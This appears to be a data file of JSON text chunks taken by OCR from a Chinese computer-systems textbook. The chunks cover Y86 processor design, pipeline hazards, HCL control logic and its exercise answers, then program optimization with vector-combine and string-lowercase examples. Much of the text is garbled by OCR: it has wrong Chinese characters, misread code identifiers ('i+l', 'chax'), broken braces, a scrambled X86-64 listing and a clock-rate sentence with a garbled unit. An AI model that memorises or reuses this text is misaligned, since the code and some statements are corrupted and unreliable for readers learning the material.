    {"text": "较新的处理器支持超标量（superscalar)操作，意味着它们逋过并行地取指、译码和执行多 条指令，可以实现小于1.0的CPI。 当超标量处理器已经广泛使用时，性能测量标准已经从CPI 转化成了它的倒数——每周期执行指令的平均数，即IPC。 对超标量处理器来说,IPC可以大于 1.0。"},
    {"text": "最先进的设计使用了 一种称为乱序（out-of-order)执行的技术来并行地执行多条指令，执 行的顺序也可能完全不同于它们在程序中出现的顺序，但是保暫了顺序ISA模型蕴含的整体行 为。"},
    {"text": "最近，随着多核处理器受到追捧，有些人声称通过在一个芯片上集成许多简单的处理器，比 使用少量更复杂的处理器能获得更多的整体计算能力。"},
    {"text": "— - • ' ... , , ■ ^ ■ ■ ' - 4.6 小结 我们已经看到，指令集体系结构，即ISA,在处理器行为(就指令集合及其编码而言）和如 何实现处理器之间提供了一层抽象。"},
    {"text": "得 到的ISA既有RISC指令集的属性,也有CISC指令集的属性 d 然后 ，将不同指令组织放到五个 阶段中处理，在此,根据被执行指令的不同，每个阶段中的操作也不相同。"},
    {"text": "在引入这秭并行性的过程中，我们必须非常小心，以提供与程方 的顺序执行相同的程序级行为a通过重新调整SEQ各个部分的顺序，引入流水线，我们得到 SEQ+,接着添加流水线寄存器，创建出PIPE-流水线 6 然后，添加了转发逻辑，加速了将结果 从一条指令发送到另一条指令，从而提高了流水线的性能。"},
    {"text": "为了 实现这个目的，我们创建了一个非常简单而一致的框架,来处理所有不同的指令类型。 有 了这个框架，就能够在处理不同指令类型的逻辑中共享硬件单元 。"},
    {"text": "为了获得更高的性齔 我扪想运用硬件熊力以同时执行许多操作，这就导致要使用威水线化设计，通过仔细设计 和分析，我们能够处理各种流水线冒险，因此运行一个程序的整体效果，同用ISA模型获\n得的效果完全一致。"},
    {"text": "Hennessy和Patterson的计算机体系结构教科书[49]覆盖了处理器设计的广泛内容，包括这 里讲述的简单流水线，还有并行执行更多指令的更髙级的处理器。"},
    {"text": "因此, 如果我们有一条指令形如对于某个寄存器—，pushl它等价于下面的代码序列：\nsubl $4,%esp movl REG, (%esp) Decrement stack pointer Store REG on stack\nA•借助于练习题4.6中所做的分析，这段代码序列正确地描述了指令pushl% es p的行为吗？"},
    {"text": "因 此，如果我们有一条指令形如pbpl7^(7,它等价于下面的代码序列 ： |\nmovl (%esp ),REG addl $4,%esp Read REG from stack Increment stack pointer '\n借助于练习题4.7中所做的分析，这段代码序列正确地描述了指令popl%esp的行为吗？"},
    {"text": ".下面这个C函数用数组引用实现冒泡排序，供你参 考： /* Bubble sort: Array version 氺 / void bubble_a(int *data, int count) { int i, next; for (next = 1; next < count; next++) { for (i = next-1; i >= 0; i--) if (data[i+l] < data[i]) { /伞 Swap adjacent elements */ int t = data[i+l]; data[i+l] = data[i]; data [i] = t; 书写并测试一个C版本，它用指针引用数组元素，而不是用数组索引。"},
    {"text": "它等价于下面这个 Y86代码序列 •• rrmovl %ebp, %esp Set stack pointer to beginning of frame popl %ebp Restore saved %ebp and set stacic ptr to end of craJJer's 假设我们要往Y86指令集中加入一条指令，编码如下： 字节 0 12 3 4 5 leave D 0 请描述实现这一指令所执行的计算。"},
    {"text": "*4.48在Y86示例程序中，例如图4-6中的Sum函数，我们多次遇到想将一个常数加到寄存器的情况（例 如第12和13行，以及第14和15行)。"},
    {"text": "这要求首先用irmovl指令将一个寄存器设置为这个常数, 然后用addl指令把这个值加到目的寄存器。 假设想添加一条新指令iaddl,其格式如下 ： 字节 iaddl V，rB 这条指令将常数值 V 加到寄存器rB。"},
    {"text": "也就是信 号e 一 valA和e_valB只是简单地声明如下： ## DO NOT MODIFY THE FOLLOWING CODE. ## No forwarding. valA is either valP or value from register file int d.valA =[ D_icode in { ICALL, IJXX > : D_valP; # Use incremented PC : d_rvalA; # Use value read from register file ]；"},
    {"text": "## No forwarding. valB is value from register file int d_valB = d.rvalB; 修改文件结尾处的流水线控制逻辑，使之能正确处理所有可能的控制和数据冒险。"},
    {"text": "因此，其他指令只使用一个写端口 ， 共享这个端口来写valE和 valMo下面这个图是一个对写回逻辑的修改版，其中，将写回寄存器ID (W—dstE和W 一 dstM)合 并成一个信号w_dstE,同时也将写回值（W 一 valE和W_valM )合 并成一个信号w 一 valE :\n用HCL写的执行这些合并的逻辑，如下所示； • ## Set E port register ID int w_dstE =[ ... ■ . ., . • j - ' ■ ' - ## writing from valM W_dstM != RNONE : W_dstM; 1 ： ： 1: W^dstE; ## Set E port value int w_valE =[ ’ ' …• ‘ W.dstM != RNONE : W.valM; 1: W.valE; ■ , •-, 对这些多路复用器的控制由dstE,定——当客表明有某个筆存器时，就埠择端口 E的值,否则就 选择端口 M的值。 」 ' ' ' 在模拟模型中，我们可以禁止寄存器端口 M,如下面这段HCL代码所示： . ... ' ' . .：, -• ## Disable register port M - s ## Set M port register ID int w.dstM = RNONE; ’ ■ ■ . ■ . '' ■ * ,. . ' I.,..'— ' . _ L 、 ## Set M port value int w_valM i = 0; ' 接下来的问题就是要设计处理popl的方法。 一种方法是用控制逻辑动态地处理指令popl rA,使 之与下面两条指令序列有一样的效果 ：.,.：：. iaddl $4, °/ 0 esp mrmovl -4(%esp), rA . • v : (关于.指令ia^ldl的描述 , 请参考家庭作业4.48)要注意两条指令的顺序，以保证papl %esp . 能正确工作 9 要达到这个目的,可以让译码阶段的逻辑对上面列出的popl指令和addl指令一 视同仁 ，.除 了,它会预测下一个PC与当前PC相等以外。"},
    {"text": "考虑下面这段代碍示例： .. mrmovl 0(%ecx),%edx # Load 1 pushl %edx # Store 1 nop popl °/ 0 edx # Load 2 rmmovl %eax, 0 (°/ 0 edx) # Store 2 在第1行和第2行，mrmovl指令从存储器读一个值到％edx,然后pushl指令将这个值压入栈 中。"},
    {"text": "在 下面这段Y86汇编器的输出中，每一行都给出了一个地址和一个从该地址开始的字节序列： '1 0x100: .pos 0x100 # Start code at address 0x100 2 0x100: 30f30f000000 irmovl $15,%ebx # Load 15 into %ebx 3 0x106: 2031 rrmovl %ebx,%ecx # Copy 15 to %ecx 4 0x108: loop: # loop: 5 0x108: 4013fdffffff rmmovl %ecx,-3(%ebx) # Save %ecx at address 6 OxlOe: 6031 addl %ebx,%ecx # Increment %ecx by 15 7 0x110: 7008010000 jmp loop # Goto loop 这段编码有以下特性值得注意： • 十进制的 15 ( 第 2 行）的十六进制表示为 OxOOOOOOOf 。"},
    {"text": "irmovl $-4,%ebx rmmovl %esi,0x800(%ebx) halt —些带立即数和地址偏移量的操作： 0x100: 30f3fcffffff I 0x106: 406300080000 I 0x10c: 00 | B.包含一个函数调用的代码\n0x200: 0x202: 0x207: 0x208: 0x208: 0x20e: a06f 8008020000 00 30f30a000000 90 proc: pushl %esi call proc halt irmovl $10,%ebx ret\n包含非法指令指示字节OxfO的代码\n0x300: 505407000000 I 0x306: 10 | 0x307: fO | 0x308: bOlf I mrmovl 7(%esp),%ebp nop .byte OxfO # invalid instruction code popl %ecx\nD.包含一个跳转操作的代码\n0x400: 0x400: 6113 0x402: 7300040000 0x407: 00 loop: subl %ecx, %ebx je loop halt\npushl指令中第二个字节非法的代码。 6362 aO fO 0x500: 0x502: 0x503: xorl %esi，％edx .byte OxaO # pushl instruction code .byte OxfO # Invalid register specifier byte\n练习题 4.3 正如题目中建议的那样，我们修改了 IA32机器上的GCC产生的代码\n%ebx Save value of Get Start Get Count Test value of If <= 0, goto Count-- Push Count Count zreturn Push Start+1 Sum(Start+1, Count-1) Add *Start goto done zreturn: done: Restore %ebx Deallocate stack frame Restore %ebp # int SumCint *Start, int Count) rSum: pushl %ebp rrmovl %esp,%ebp pushl %ebx # mrmovl 8(%ebp),%ebx # mrmovl 12(%ebp),%eax # andl %eax,%eax # jle L38 # irmovl $-l,%edx addl %edx, °/ 0 eax pushl %eax irmovl $4,%edx rrmovl %ebx,%eax addl %edx,7 0 eax pushl %eax call rSum mrmovl (%ebx),%edx addl %edx,%eax # jmp L39 # L38: xorl %eax,%eax # L39: mrmovl -4(%ebp),%ebx # rrmovl %ebp,%esp # popl %ebp # ret\n练习题 4.4这道题给了你一个练习写汇编代码的机会。 int AbsSamdnt *Sta.rt , int Comit) 1 AbsSum: 2 pushl %ebp 3 rrmovl %esp,%ebp 4 mrmovl 8(%ebp),%ecx ecx = Start 5 mrmovl 12(%ebp),%edx edx ~ Count 6 irmovl $0, %eax ffim ~ 0 7 andl °/ 0 edx, %edx 8 je End 9 Loop: 10 mrmovl (%ecx),%esi get x - ^Start 1 '1 irmovl $0，％edi 0 12 subl %esi，％edi -x 13 jle Pos Skip if ~x <~ 0 14 rrmovl %edi,%esi x ~ ~x 15 Pos: 16 addl 7 0 esi,7 0 eax add x to sum 17 irmovl $4,%ebx 18 addl °/ 0 ebx,%ecx St art++ .19 irmovl $-l,%ebx 20 addl %ebx,%edx Count --.\njne End: popl %ebp ret Loop Stop when 0 21 22 23 24\n练习题 4.5这道题给了你一个练习写带条件传送汇编代码的机会。"},
    {"text": "mrmovl (%ecx),%esi get x : *Sta.rt irmovl $0,%edi 0 subl %esi,%edi -x cmovg %edi,%esi if -x > 0 then addl %esi,%eax add x to sum irmovl $4,%ebx addl %ebx,%ecx St art++ irmovl $-l,%ebx addl %ebx,%edx Count -- jne Loop Stop when 0 9 Loop: 10 1 2 3 4 5 6 7 9 练习题 4.6虽然难以想象这条特殊的指令有什么实际的用处，但是在设计一个系统时，在描述中避免 任何歧义是很重要的。"},
    {"text": "这段代码序列将Oxabcd压入栈中，弹出到％esp,然后返回弹出的值。 由于结果等于Oxabcd，我 们可以推断出popl%esp将栈指针设置为从存储器中读出来的那个值。"},
    {"text": "因此，它等价于指令mrmovl (%esp) , %esp 0 练习题 4.8 EXCLUSIVE-OR函数要求两个位有相反的值 ： bool xor = (!a && b) I I (a && !b); 通常，信号eq和xor是互补的。"},
    {"text": "根据德摩根定律（网络旁注DATA:BOOL),我 们能用OR和NOT实现AND,得到如下电路 ： int Med3 A < = B && B < = C C < = B && B <= A B <= A && A <= C C < = A && A < = B 1 这个设计只是对三个输入中找出最小值 练习题 4.10 的简单改变。"},
    {"text": "通用 具体 阶段 irmovl V, rB irmovl $128, %esp 取指 icode: ifun — Mi[PC] rA:rB —MJPC + 1] valC — M 4 [PC + 2] valP — PC + 6 icode: ifun — [OxOOe] = 3:0 rA:rB —M 丨 [0x00f] = 8:4 valC<-M 4 [0x010]=128 valP — OxOOe + 6 = 0x014 译码 执行 valE — 0 + valC valE — 0 + 128 = 128 访问 写回 R[rB]— valE R[°/,esp] — valE = 128 酿 PC PC—valP PC — valP = 0x014 这个指令将寄存器％esp设为128,并将PC加6。"},
    {"text": "通用 具体 mel popl rA popl %eax 取指 icode: ifun — M^PC] rA:rB —M![PC + 1] icode:ifun <- Mj[0x01c] = b:0 rA:rB^-M][0x01d]=：0:8 valP —PC + 2 valP 0x0lc + 2 = OxOle 译码 valA 一 R[%esp] valB — R[°/ 0 esp] val A — R[°/ 0 esp] = 124 valB — R[%esp] = 124 执行 valE valB + 4 valE —124 + 4=128 访存 valM — M 4 [valA] valM —M 4 [124] = 9 写回 R[%esp] — valE R[rA] — valM R[°/ 0 esp] — 128 R[%eax] <- 9 更新PC PC — valP PC — OxOle 该指令将％6&父设为9, 将％的 ？"},
    {"text": "练习题4.13沿着图4-20中列出的步骤，这里rA等于％esp,我们可以看到，在访存阶段，指令会将 valA,即栈指针的原始值，存放到存储器中，与我们在IA32中发现的一样。 练习题4.14沿着图4-20中列出的步骤，这里rA等于 ％ esp,我们可以看到，两个写回操作都会更新 ％ esp 。 因为写valM的操作后发生，指令的最终效果会是将从存储器中读出的值写入 ％ esp,就像在IA32中看到 的一样。"},
    {"text": "我们简单地以条件测试的结果 作为写回步骤的条件： 阶段 cmovXX rA, rB 取指 icode: ifun — M^PC] rA:rB — MJPC + 1] valP — PC + 2 译码 val A — R[rA] 执行 valE — 0 + valA Cnd <- Cond(CC, ifun) 访存 写回 if (Cnd) R[rB] — valE 更新 PC PC valP 练习题4.16我们可以看到这条指令位于地址0x023,长度为5个字节。"},
    {"text": "popl指令（第7行）将栈指针设为 128 0 通用 具体 阶段 call Dest call 0x029 取指 icode: ifun — M 丨[PC】 icode:ifun Mj[0x023] = 8:0 valC—M 4 [PC+1] valP^-PC + 5 valC — M 4 [0x024] = 0x029 valP — 0x023 + 5 = 0x028 译码 VdlB <~ R[%esp] valB — R[°/ 0 esp] = 128 执行 valE — valB + -4 valE — 128 + -4= 124 访存 M 4 [valE] <- valP M 4 [124] — 0x028 写回 R[%esp] — valE R[%esp] — 124 更新PC PC — valC PC—0x029 这条指令的效果就是将％63?设为 124,. 将 0x028 (返回地址）存放到该存储器地址，并将 PC 设为 0x029 (调用的目标地址)。"},
    {"text": "bool need_valC = icode in (IIRMOVL, IRMMOVL, IMRMOVL, IJXX, ICALL }; 练习题 4.18 这段代码类似于 srcA 的代码 ： int srcB =[ icode in i IOPL, IRMMOVL, IMRMOVL > : rB; icode in { IPUSHL, IPOPL, ICALL, IRET > : RESP; 1 : RNONE; # Don't need register 练习题4.19这段代码类似于dstE的代码： int dstM =[ icode in { IMRMOVL, IPOPL > : rA; 1 : RNONE; # Don't write any register ]；"},
    {"text": "练习题4_21这段代码类似于aluA的代码： int aluB =[ icode in { IRMMOVL, IMRMOVL, IOPL, ICALL, IPUSHL, IRET, IPOPL } : valB; icode in { IRRMOVL, IIRMOVL } : 0; Other instructions don't need ALU ]；"},
    {"text": "int dstE =[ icode in { IRRMOVL > && Cnd : rB; icode in { IIRMOVL, IOPL} : rB; icode in { IPUSHL, IPOPL, ICALL, IRET > : RESP; 1 : RNONE; # Don't write any register ]； 练习题4.23这段代码类似于mem_addr的代码： int mem_data =[ Value from register icode in { IRMMOVL, IPUSHL } : valA; Return PC icode == ICALL : valP; Default: Don't write anything ]； 练习题4.24这段代码类似于mem—read的代码： bool mem_write = icode in { IRMMOVL, IPUSHL, ICALL >; 练习题4.25计算Stat字段需要从几个阶段收集状态信息： ## Determine instruction status int Stat =[ imem_error I I dmem_error : SADR; !instr_valid: SINS; icode =: IHALT : SHLT; 1 : SAOK; 练习题 4.26这个题目非常有趣，它试图在一组划分中找到优化平衡。"},
    {"text": "周期时 长为80+20=100ps,吞吐量为大约10.00 GIPS,而延迟为500ps,变成更多的阶段也不会有帮助了， 因为不可能使流水线运行得比以lOOps为一周期还要快了。"},
    {"text": "int d_dstE =[ icode in { IRRMOVL, IIRMOVL, IOPL} : D_rB; icode in { IPUSHL, IPOPL, ICALL, IRET > : RESP; 1 : RNONE; # Don't write any register ]；"},
    {"text": "对于此例，我们可以使用对练习题4.30中所示的程序稍微修改的版本： irmovl $5, %edx irmovl $0x100，％esp rmmovl %edx,0(%esp) popl %esp nop nop rrmovl %esp,°/ 0 eax 两个nop指令会导致当rrmovl指令在译码阶段中时，popl指令处于写回阶段。"},
    {"text": "from execute from memory from memory from write back from write back file 练习题4.32这个逻辑只需要检查五个转发源： int d_valB =[ d_srcB ==e_dstE : :e_valE # d_srcB == M 一 dstM : :m_valM # d_srcB ==M_dstE : : M 一 valE # d_srcB ==W_dstM : :W.valM # d_srcB ==W_dstE : :W.valE # 1 : d_rvalB; # Use value read from register file 即使条件传送 练习题4.33这个改变不会处理条件传送不满足条件的情况，因此将dstE设置为RNONE。"},
    {"text": "irmovl $0x123,%eax irmovl $0x321,%edx xorl %ecx,%ecx cmovne 7 0 eax，%edx addl %edx,%edx halt CC = 100 Not transferred Should be 0x642\n这段代码将寄存器％edx初始化为0x321。"},
    {"text": "## Update the status int m_stat =[ dmem_error : SADR; : M_stat; 练习题4.35设计下面这个测试程序是用来建立控制组合A (图4_67),并探测是否出了错 # Code to generate a combination of not-taken branch and ret irmovl Stack, %esp irmovl rtnp,%eax 4 pushl %eax # .5 • xorl %eax,%eax # 6 jne target # 7 irmovl $l,%eax # 8 halt 9 target: ret # 10 irmovl $2,%ebx # Set up return pointer Set Z condition code Not taken (First part of combination) Should execute this Second part of combination Should not execute this\nhalt rtnp: irmovl $3,%edx halt .pos 0x40 Stack: # Should not execute this 12 1 3 14 15\n设计这个程序是为了出错（例如，如果实际上执行了 ret指令）时，程序会执行一条额外的irmovl 指令，然后停止。"},
    {"text": "# Test instruction that modifies %esp followed by ret irmovl mem,%ebx Sets %esp to point to return point Returns to return point Return point ?. mrmovl 0(%ebx) ,%esp # ret # halt # rtnpt: irmovl $5,%esi # halt .pos 0x40 Holds desired stack pointer Top of stack: Holds return point mem: .long stack # 10 .pos 0x50 f1 stack: .long rtnpt # 这个程序使用了存储器中两个初始化了的字。"},
    {"text": "Conditions for a load/use hazard E.icode in { IMRMOVL, IPOPL } && E_dstM in { d_srcA, d_srcB >; 练习题4.38 成气泡： 从图 4-66 中可以看到，由于加载/使用冒险，或者分支预测错误，流水线寄存器 E 必须设置 bool E_bubble = Mispredicted branch (E一icode == IJXX && !e_Cnd) II Conditions for a load/use hazard icode in i IMRMOVL, IPOPL } && dstM in { d_srcA, d_srcB>; 练习题 4.39 这个控制需要检查正在执行的指令的代码，还需要检查流水线中更后面阶段中的异常。 ## Should the condition codes be updated? bool set_cc = E_icode == IOPL && State changes only during normal operation !m_stat in { SADR, SINS, SHLT > && !W_stat in { SADR, SINS, SHLT >; 练习题4.40在下一个周期向访存阶段插入气泡需要检查当前周期中访存或者写回阶段中是否有异常。"},
    {"text": "Start injecting bubbles as soon as exception passes through memory stage bool M_bubble = m_stat in i SADR, SINS, SHLT > I| W_stat in { SADR, SINS, SHLT >; 对于暂停写回阶段，只用检查这个阶段中的指令的状态。"},
    {"text": "bool W_stall = W_stat in { SADR, SINS, SHLT >; 练习题4.41此时，预测错误的频率是0.35,得到= 0.20X0.35X2 = 0.14,而整个CPI为1.25。"},
    {"text": "我们的条件转移代码对于每个元素平均需要10.5+1.0=11.5个周期（最好情况要11个周期，最差情 况要12个周期），而条件传送代码对于所有的情况都需要10.0个周期。"},
    {"text": "程序员必须写出清晰简洁的代码，这样做不仅是为了程序员能够看 懂代码，也是为了在检査代码和今后需要修改代码时，其他人能够读懂和理解代码。"},
    {"text": "然而，即使是最好的编译器也受到妨 碍优化的因素 （optimization blocker) 的阻碍，妨碍优化的因素就是程序行为中那些严重依赖于执行环境的方面。"},
    {"text": "了解了处理器的运作，我们就可以进行程序优化的第二步，利用处理器提供 的指令级并行 (instruction-level parallelism)能力，同时执行多条指令。"},
    {"text": "比较于另一种方法——用汇编语言写代码，这种间接的 方法具有的优点是：虽然性能不一定是最好的，但得到的代码仍然能够在其他机器上运行。"},
    {"text": "编译器必须很小心地对程序只使用 安全的 优化，也就是说对于程序可能遇到的所有可能的情 况，在C语言标准提供的保证之下，优化后得到的程序和未优化的版本有一样的行为。 限制编 译器只进行安全的优化，消除了一些造成不希望的运行时行为的可能原因，但是这也意味着程序 员必须花费更大的力气写出程序使编译器能够将之转换成有效机器代码。"},
    {"text": "为了理解决定一种程序 转换是否安全的难度，让我们来看看下面这两个过程： void twiddleKint *xp, int *yp) -C *xp += *yp; *xp += *yp; void twiddle2(int *xp, int *yp) s { 9 *xp += 2* *yp; .!() > 乍一看，这两个过程似乎有相同的行为。"},
    {"text": "此时，函数twiddlel会执行下面的计算： *xp += *xp ; /氺 Double value at xp */ *xp += *xp; /*■ Double value at xp 木 / 结果是xp的值会增加4倍。 另一方面，函数twiddle2会执行下面的计算： *xp += 2* *xp; /氺 Triple value at xp */ 结果是 X p的值会增加3倍。"},
    {"text": "再看一个 例子，对于一个使用指针变量P和q的程序，考虑下面的代码序列： x = 1000; y = 3000; *q = y; /* 3000 氺 / *p = x; /* 1000 */ tl = *q; /* 1000 or 3000 */ tl的计算值依赖于指针p和q是否指向存储器中同一个位置——如果不是，tl就等于 3000,但如果是，tl就等于1000。"},
    {"text": "考虑下面 这个交换两个值的过程： /> Swap value x at xp with value y at yp */ void swap(int *xp, int *yp) *xp = =*xp H 卜 *yp; h. >： H i- y * *yp = =*xp - -*yp; h -xh f-y-y ~ y; * *xp = =*xp - -*yp; /'卞 xh - y 氺 如果调用这个过程时xp等于yp,会有什么样的效果？"},
    {"text": "作为一个示例 ， 考虑下面这两个过程 ： int f(); 2 :i int funclO { return f() + f() + f() + f(); > 6 int func2() { return 4*f(); > 最初看+去两个过程计算的都是相同的结果 ， 但是fimc2只调用f 1次，而funcl调用f4 次。"},
    {"text": "用内联函数替换优化函数调用 如网络旁注 ASMDPT 描述的 ， 包含兩数调用的代码可以用一个称为内联兩数替换 （inline substitution, 或者简称 “ 内联 ” (inlining)) 的过程进行优化，此时，将函数调用替换为函数体。"},
    {"text": "例如，我们可以通过替换掉对函数 f 的 4 次调用 ， 展开 funcl 的代码 ： /* Result of inlining f in funcl */ int funclinO { int t = counter++; /* +0 */ t += counter++; /* +1 */ t += counter++; /* +2 */ t += counter++; /* +3 */ return t; } 这样的转换既减少了函数调用的开销，也允许对展开的代码做进一步优化。 例如，编译器可 以统一 funclin 中对全局变量 counter 的更新 ， 产生这个函数的一个优化版本 ： /* Optiffiization of inlined code 木 / int funcloptO { int t = 4 * counter + 6; counter = t + 4; return t; } 对于这个特定的函数f的定义，上述代码忠实地重现了 funcl的行为。"},
    {"text": "处理器活动的顺序是由时钟控制的，时钟提供了某个频率的规律信号，通常用千兆赫 兹（GHz),即十亿周期每秒来表示。 例如，当表明一个系统有“4 GHz”处理器，这表示处理 器时钟运行频率为4X10 9 千兆赫玆。"},
    {"text": "从程序员的角度来看 ， 用时钟周期来 表示度量标准要比用纳秒或皮秒来表示有帮助得多。 用时钟周期来表示，度量值表示的是执行了 多少条指令，而不是时钟运行得有多快。"},
    {"text": "例如，图5-1中的函数psuml和 P sum2计算 的都是一个长度为《的向量的 前置和 （prefix sum)。 对于向量2 =〈冲，“]，…，前置和 P = (Po， Pi，• • •，定义为 Po=ci 0 PrPi-& a n I < i < n (5-1) 函数psuml每次迭代计算结果向量的一个元素。"},
    {"text": "使用最小二乘方拟合（least squares fit),我们发现，psuml和psum2的运行时间（用时钟周期为单位）分别近似于等式 496+10.0«和500+6.5^这两个等式表明对代码计时和初始化过程、准备循环以及完成过程的开 销为496〜500个周期加上每个元素6.5或10.0周期的线性因子。"},
    {"text": "注意，我们更愿意用每个元素的周期数而不是每次循环的周期数来度量，这是因为像循环 展开这样的技术使得我们能够用较少的循环完成计算，而我们最终关心的是，对于给定的向量长 度，程序运行的速度如何。"},
    {"text": "根据这种度量标准，psum2 的 CPE 为 6.5,优于 CPE 为 10.0 的 psuml 0 1 /* Compute prefix sum of vector a */ 2 T. void psuml (float a[], float p[], J- long int n) 4 \\ long int i; 5 p[0] = a [0]; 6 for (i = 1; i < n; i++) 7 8 p[i] = p[i-l] + a[i]; > 9 10 void psum2(float a[], float p[] , long int n) 11 { 12 long int i; 13 p[0] = a[0]; 14 for (i = 1; i < n-1; i+:2) -C 15 float mid_val = p[i-l] + a[i]; 16 p[i] = mid.val; 17 p[i+l] = mid_val + a[i+l]; 18 > 19 / 木 For odd n, finish remaining element */ 20 if (i < n) 21 p[i] = p[i -1] + a[i]; 22 > 图5-1前置和函数。"},
    {"text": "两条线的斜率表明每元素的周期数（CPE) 什么是最小二乘方拟合 对于一个数据点 ( Xl , ^), ..., (x n , 的集合，我们常常试图画一条线，它能最接近于这些 数据代表的 X-Y 趋势。"},
    {"text": "使用最小二乘方拟合，寻找一条形如 ;;= w;c + 6 的线，使得下面这个误 差度量最小： E(m, b) = ^ (mxi -\\-b — yi) 2 i=l,n 将五 (w, zo 分别对 m 和 6 求导，把两个导数函数设置为 0, 进行推导就能得出计算 W 和 6 的算法。"},
    {"text": "对于其中三个变种，我们发现运行时间 （以时 钟周期为单位 ）可以用 下面的 函数近似地估计： 版本 1: 60 + 35« 版本 2: 136+ 4« 版本 3: 157 + 1.25« 每个版本在《取什么值时是三个版本中最快的？"},
    {"text": "头部是一个声明如下的结构： code/opt/vec.h /* Create abstract data type for vector */ typedef struct { long int len; data_t *data; } vec_rec, *vec_ptr; code/opt/vec.h len len 0 1 2 len —1 data 纖猶 uU 二 图5-3向量的抽象数据类型。 向量由头信息加上指定长度的数组来表示 这个声明用数据类型data_t作为基本元素的数据类型。"},
    {"text": "为此，我们会分别为不同的类型声明编译和运行程序，就像下面这个例子对数据类 型int —样： typedef int data一t; 我们还会分配一个len个data一t类型对象的数组，来存放实际的向量元素。"},
    {"text": "使用声明： #define IDENT 1 #define OP * code/opt/vec.c /* Create vector of specified length */ vec^ptr new_vec(long int len) 4 5 6 7 9 0 1 2 3 A 5 6 7 9 20 21 22 23 24 25 26 27 28 29 30 y\\ 32 33 34 35 36 37 38 39 /* Allocate header structure */ vec_ptr result = (vec^ptr) malloc(sizeof(vec_rec)); if (!result) return NULL; /* Couldn't allocate storage */ result->len = len; /* Allocate array */ if (len > 0) { data_t *data = (data_t *)calloc(len, sizeof(data_t)); if (!data) { free((void *) result); return NULL ;卜 Couldn't, allocate storage 氺/ > result->data = data; } else result-〉data = NULL; return result; Retrieve vector element and store at dest. Return 0 (out of bounds) or 1 (successful) */ int get_vec_element(vec_ptr v, long int index, data_t *dest) if (index < 0 I I index >= v->len) return 0; ♦dest = v->data[index]; return 1; /* Return length of vector */ long int vec_length(vec_ptr v) return v->len; ■ code/opt/vec.c 图5-4向量抽象数据类型的实现。 在实际程序中，数据类型data一t被声明为int、float或double /氺 Implementation with maximum use of data abstraction */ void combinel(vec_ptr v, data_t *dest) { 、 A long int i; 5 *dest = IDENT ; for (i = 0; i < vec_length(v); i++) { s data_t val; 9 get_vec_element(v, i, &val); *dest = *dest OP val;。"},
    {"text": "函数 页码 方法 整数 浮点数 + * + F* D* combinel 331 抽象的未优化的 20.02 29.21 27.40 27.90 27.36 combinel 331 抽象的-01 12.00 12.00 12.00 12.01 13.00 可以看到测量值有些不太精确。"},
    {"text": "/* Move call to vec„length out of- loop */ void combine2(vec_ptr v, data_t *dest) long int i; long int length = vec_length(v); 6 *dest = IDENT; for (1 = 0; i < length; i++) { data_t val; get_vec_element(v, i, &val); *dest = *dest OP val; > 图5-6改进循环测试的效率。 通过把对vec一length的调用移出循环测试，我们不再需要每次 迭代时都执行这个函数 函数 页码 方法 整数 浮点数 + * + F* D* combinel 331 抽象的-01 12.00 12.00 12.00 12.01 13.00 combine2 333 移动 vec_length 8.03 8.09 10.09 11.09 12.08 这个优化是一类常见的优化的一个例子，称为代码移动（codemotion)。"},
    {"text": "这个 过程的目的是将一个字符串中所有大写字母转换成小写字母。 这个大小写转换是将‘A’到‘Z’ 范围内的字符转换成‘a’到‘z’范围内的字符。"},
    {"text": "/* Convert string to lowercase: slow */ void lowerl(chax *s) { int i; 5 for (i = 0; i < strlen(s); i++) if (s5i] >= 'A' && s[i] <=丨Z 1 ) s[i] -= ('A' - 'a'); > 10 /* Convert string to lowercase: faster */ void lower2(ch2Lr *s) -C M int i; 15 int len = strlen(s); ■16 for (i =. 0; i < len; i++) if (s[i] >: 'A' && s[i] <= 'Z') s[i] -= ('A' - 'a'); > 21 /*. Sample implementation of library function strlen */ /* Compute length of string */ size_t strlen(const char *s) { int length = 0; while (*s != '\\0') { S ++；"},
    {"text": "一个有经验的程序员工作的一部分就是避免引人这样 字符串长度 字符串长度 函数 16 384 32 768 65 536 131 072 262 144 524 288 1 048 576 lowerl lower2 0.19 0.0000 0.77 0.0000 3.08 0.0001 12.34 49.39 0.0002 0.0004 198.42 0.0008 791.22 0.0015 的渐近低效率。"},
    {"text": "修改过的代码lower2的运行时间是线性的 ®练习题5.3考虑下面的函数： int min(int x, int y) { return x < y ? x int max(int x, int y) { return x < y ? y void incr(int *xp, int v) { *xp += v; > int square(int x) { return x*x; } 下面三个代码片断调用这些函数 A. max(x, y); incr(&i, 1)) i >= min(x, y); incr(&i, -1)) for (i = min(x, y); i < t += square(i); for (i = max(x, y) - 1; t += square(i); int low = min(x, y); int high = max(x, y); for (i = low; i < high; incr(&i, 1)) t += square(i); 假设x等于10,而y等于100。"},
    {"text": "填写下表，指出在代码片断A〜C中4个函数每个被调用的 次数： 代码 min max incr square A. B. C. 5.5 减少过程调用 像我们看到的那样，过程调用会带来相当大的开销，而且妨碍大多数形式的程序优化。"},
    {"text": "原则上来说，向量抽象数据类型的使用者甚至不应该需 要知道向量的内容是作为数组来存储的，而不是作为诸如链表之类的某种其他数据结构来存储 的。"},
    {"text": "code/opt/vec.c data_t *get_vec_stcirt (vec_ptr v) -C return v->data; } code/opt/vec.c . /* Direct access to vector data */ void combine3(vec_ptr v, data_t *dest) 4 5 6 7 9 10 11 12 long int i; long int length = vec_length(v); data_t *data = get_vec_start(v); ♦dest = IDENT; for (i = 0; i < length; i++) { *dest = *dest OP data[i]; > 图5-9消除循环中的函数调用。"},
    {"text": "得到的代码运行速度快得多，这是以损害一些程序的模块性为代价的 函数 页码 方法 整数 浮点数 + 本 + F* D* combine2 333 移动 vec_length 8.03 8.09 10.09 11.09 12.08 combine3 336 直接数据访问 6.01 8.01 10.01 11.01 12.02 得到的性能提高出乎意料的普通，只提高了整数求和的性能。"},
    {"text": "在此给出数据类型为float,合并运算为乘法的 X86-64 代码：\n1 2 3 4 5 7 3d:SSSQ*a* Jle^roovlvdp bii2n fl /49momumoadcmJg .2 L data„t = float, OP =本 ,data in %rax, dest in %rbp (%rbp) , 0 /oxmmO ' (%rax,%rdx,4), %xmmO °/ 0 xmmO, (%rbp) $1, %rdx %rdx, %rl2 .L498 loop: Read product from dest Multi ply product by da.ta[i] Store product at dest Increment i Compare i:limit If >，goto loop\n理解X86-64的浮点代码 我们在网络旁注ASM:SSE中讲述了 X86-64的浮点代码，它们是Intel指令集的64位版本 , 但是对于任何熟悉IA32代码的人来说，本章展示的程序示例都很容易理解。"},
